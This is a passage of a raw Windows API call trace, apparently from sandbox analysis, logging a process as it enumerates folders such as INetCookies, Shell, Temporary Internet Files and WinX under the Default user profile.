nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.759] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.759] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.759] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCookies", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCookies", lpFilePart=0x0) returned 0x3c [0209.760] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\inetcookies\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.760] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.760] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.760] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.761] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell", lpFilePart=0x0) returned 0x36 [0209.761] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\shell\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3757c8c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3757c8c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0209.761] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3757c8c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3757c8c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.761] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3757c8c, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973af366, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18778, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultLayouts.xml", cAlternateFileName="DEFAUL~1.XML")) returned 1 [0209.761] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.762] FindClose (in: hFindFile=0x1d46a900 | out: hFindFile=0x1d46a900) returned 1 [0209.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.762] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell", lpFilePart=0x0) returned 0x36 [0209.762] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\shell\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3757c8c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3757c8c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0209.762] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3757c8c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3757c8c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.762] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3757c8c, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973af366, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18778, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultLayouts.xml", cAlternateFileName="DEFAUL~1.XML")) returned 1 [0209.763] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3757c8c, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973af366, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18778, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultLayouts.xml", cAlternateFileName="DEFAUL~1.XML")) returned 0 [0209.763] FindClose (in: hFindFile=0x1d46a900 | out: hFindFile=0x1d46a900) returned 1 [0209.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.763] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", lpFilePart=0x0) returned 0x49 [0209.763] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc310) returned 1 [0209.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.768] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", lpFilePart=0x0) returned 0x49 [0209.768] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc310) returned 1 [0209.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.771] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX", lpFilePart=0x0) returned 0x35 [0209.771] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.772] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.773] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686326, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group1", cAlternateFileName="")) returned 1 [0209.773] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group2", cAlternateFileName="")) returned 1 [0209.773] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 1 [0209.773] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 0 [0209.774] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.774] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX", lpFilePart=0x0) returned 0x35 [0209.774] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0209.774] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.774] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686326, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group1", cAlternateFileName="")) returned 1 [0209.775] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group2", cAlternateFileName="")) returned 1 [0209.775] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 1 [0209.775] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.775] FindClose (in: hFindFile=0x1d46a900 | out: hFindFile=0x1d46a900) returned 1 [0209.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0209.776] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", lpFilePart=0x0) returned 0x3c [0209.776] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group1\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686326, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.776] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686326, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.776] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Desktop.lnk", cAlternateFileName="")) returned 1 [0209.776] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf686326, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee78381, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.777] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.777] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0209.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0209.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0209.777] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", lpFilePart=0x0) returned 0x3c [0209.777] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group1\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686326, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.777] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686326, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.778] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Desktop.lnk", cAlternateFileName="")) returned 1 [0209.778] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf686326, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee78381, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.778] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf686326, ftCreationTime.dwHighDateTime=0x1d112e4, 